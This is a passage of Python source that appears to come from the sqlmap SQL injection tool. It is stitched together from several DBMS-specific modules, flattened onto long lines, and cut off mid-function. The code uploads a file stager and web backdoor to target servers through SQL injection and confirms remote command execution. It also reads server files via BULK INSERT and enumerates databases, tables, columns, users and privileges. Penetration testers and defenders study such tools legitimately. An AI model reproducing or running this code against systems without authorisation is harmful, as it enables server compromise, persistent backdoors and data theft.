Request.queryPage( value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) cookie = None if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] elif headers and HTTP_HEADER.SET_COOKIE in headers: cookie = headers[HTTP_HEADER.SET_COOKIE] if cookie: value = re.sub( r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) if value != cookie: page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) parseFilePaths(page) directories = list(arrayizeValue(getManualDirectories())) directories.extend(getAutoDirectories()) directories = list(oset(directories)) path = urlparse.urlparse(conf.url).path or '/' path = re.sub(r"/[^/]*\.\w+\Z", '/', path) if path != '/': _ = [] for directory in directories: _.append(directory) if not directory.endswith(path): _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) directories = _ backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)) stagerContent = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)) for directory in directories: if not directory: continue stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) if not isWindowsDriveLetterPath( directory) and not directory.startswith('/'): directory = "/%s" % directory if not directory.endswith('/'): directory += '/' # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via LIMIT 'LINES TERMINATED BY' method" logger.info(infoMsg) self._webFileInject(stagerContent, stagerName, directory) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break # Fall-back to UNION queries file upload method if not uploaded: warnMsg = "unable to upload the file stager " warnMsg += "on '%s'" % directory singleTimeWarnMessage(warnMsg) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg += "via UNION method" logger.info(infoMsg) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) self.webStagerFilePath = posixpath.join( ntToPosixSlashes(directory), stagerName) handle, filename = tempfile.mkstemp() os.close(handle) with open(filename, "w+b") as f: _ = decloak( os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)) _ = _.replace( SHELL_WRITABLE_DIR_TAG, utf8encode( directory.replace('/', '\\\\') if Backend. isOs(OS.WINDOWS) else directory)) f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) for match in re.finditer('/', directory): self.webBaseUrl = "%s://%s:%d%s/" % ( conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webStagerUrl = urlparse.urljoin( self.webBaseUrl, stagerName) debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" if "sqlmap file uploader" in uplPage: uploaded = True break if not uploaded: continue if "<%" in uplPage or "<?" in uplPage: warnMsg = "file stager uploaded on '%s', " % directory warnMsg += "but not dynamically interpreted" logger.warn(warnMsg) continue elif self.webPlatform == WEB_PLATFORM.ASPX: kb.data.__EVENTVALIDATION = extractRegexResult( EVENTVALIDATION_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult( VIEWSTATE_REGEX, uplPage) infoMsg = "the file stager has been successfully uploaded " infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) logger.info(infoMsg) if self.webPlatform == WEB_PLATFORM.ASP: match = re.search( r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) if match: backdoorDirectory = match.group(1) else: continue _ = "tmpe%s.exe" % randomStr(lowercase=True) if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace( SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace( SHELL_RUNCMD_EXE_TAG, _)): self.webUpload(_, backdoorDirectory, filepath=os.path.join( paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) self.webDirectory = backdoorDirectory else: continue else: if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): warnMsg = "backdoor has not been successfully uploaded " warnMsg += "through the file stager possibly because " warnMsg += "the user running the web server process " warnMsg += "has not write privileges over the folder " warnMsg += "where the user running the DBMS process " warnMsg += "was able to upload the file stager or " warnMsg += "because the DBMS and web server sit on " warnMsg += "different servers" logger.warn(warnMsg) message = "do you want to try the same method used " message += "for the file stager? [Y/n] " if readInput(message, default='Y', boolean=True): self._webFileInject(backdoorContent, backdoorName, directory) else: continue self.webBackdoorUrl = posixpath.join( ntToPosixSlashes(self.webBaseUrl), backdoorName) self.webDirectory = directory self.webBackdoorFilePath = posixpath.join( ntToPosixSlashes(directory), backdoorName) testStr = "command execution test" output = self.webBackdoorRunCmd("echo %s" % testStr) if output == "0": warnMsg = "the backdoor has been uploaded but required privileges " warnMsg += "for running the system commands are missing" raise SqlmapNoneDataException(warnMsg) elif output and testStr in output: infoMsg = "the backdoor has been successfully " else: infoMsg = "the backdoor has probably been successfully " infoMsg += "uploaded on '%s' - " % self.webDirectory infoMsg += self.webBackdoorUrl logger.info(infoMsg) break
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(",") else: colList = [] if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict( (_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) for blind in blinds: randStr = randomStr() query = rootQuery.inband.query % ( conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable( "(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) if retVal: table = {} columns = {} for name, type_ in filterPairValues( zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): columns[name] = SYBASE_TYPES.get(type_, type_) table[safeSQLIdentificatorNaming(tbl)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table break return kb.data.cachedColumns
def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(',') if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = [_ for _ in users if _] # Set containing the list of DBMS administrators areAdmins = set() if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] if privilege is None: continue # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == "Y": privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): if privilege.strip() in FIREBIRD_PRIVS: privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] if len(privs) > 1: privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) if user in kb.data.cachedUsersPrivileges: kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = "LIKE" else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "******" % user if Backend.isDbms(DBMS.INFORMIX): count = 1 else: infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (user,) else: query = rootQuery.blind.query % (user, index) privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) if privilege is None: continue # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ',') privs = privilege.split(',') i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in PGSQL_PRIVS.items(): if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ',') privs = privilege.split(',') i = 1 for priv in privs: if priv.upper() == 'Y': for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(',') privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ('Y', 'G'): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return (kb.data.cachedUsersPrivileges, areAdmins)
def getTables(self): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[DBMS.MSSQL].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): value = [_ for _ in arrayizeValue(value) if _] value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db singleTimeLogMessage(infoMsg) continue if conf.exclude and re.search(conf.exclude, db, re.I) is not None: infoMsg = "skipping database '%s'" % db singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break if not isNumPosStrValue(count): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in xrange(int(count)): _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [ _ for _ in colList if _ not in conf.excludeCol.split(',') ] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)][safeSQLIdentificatorNaming( tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = { safeSQLIdentificatorNaming(tbl, True): columns } return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.MAXDB].columns for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl)] = dict( (_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming( conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) randStr = randomStr() query = rootQuery.inband.query % ( unsafeSQLIdentificatorNaming(tbl), ("'%s'" % unsafeSQLIdentificatorNaming(conf.db)) if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER') retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), [ '%s.columnname' % randStr, '%s.datatype' % randStr, '%s.len' % randStr ], blind=True) if retVal: table = {} columns = {} for columnname, datatype, length in zip( retVal[0]["%s.columnname" % randStr], retVal[0]["%s.datatype" % randStr], retVal[0]["%s.len" % randStr]): columns[safeSQLIdentificatorNaming( columnname)] = "%s(%s)" % (datatype, length) table[tbl] = columns kb.data.cachedColumns[conf.db] = table return kb.data.cachedColumns
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue( inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers
def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms( ) warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = 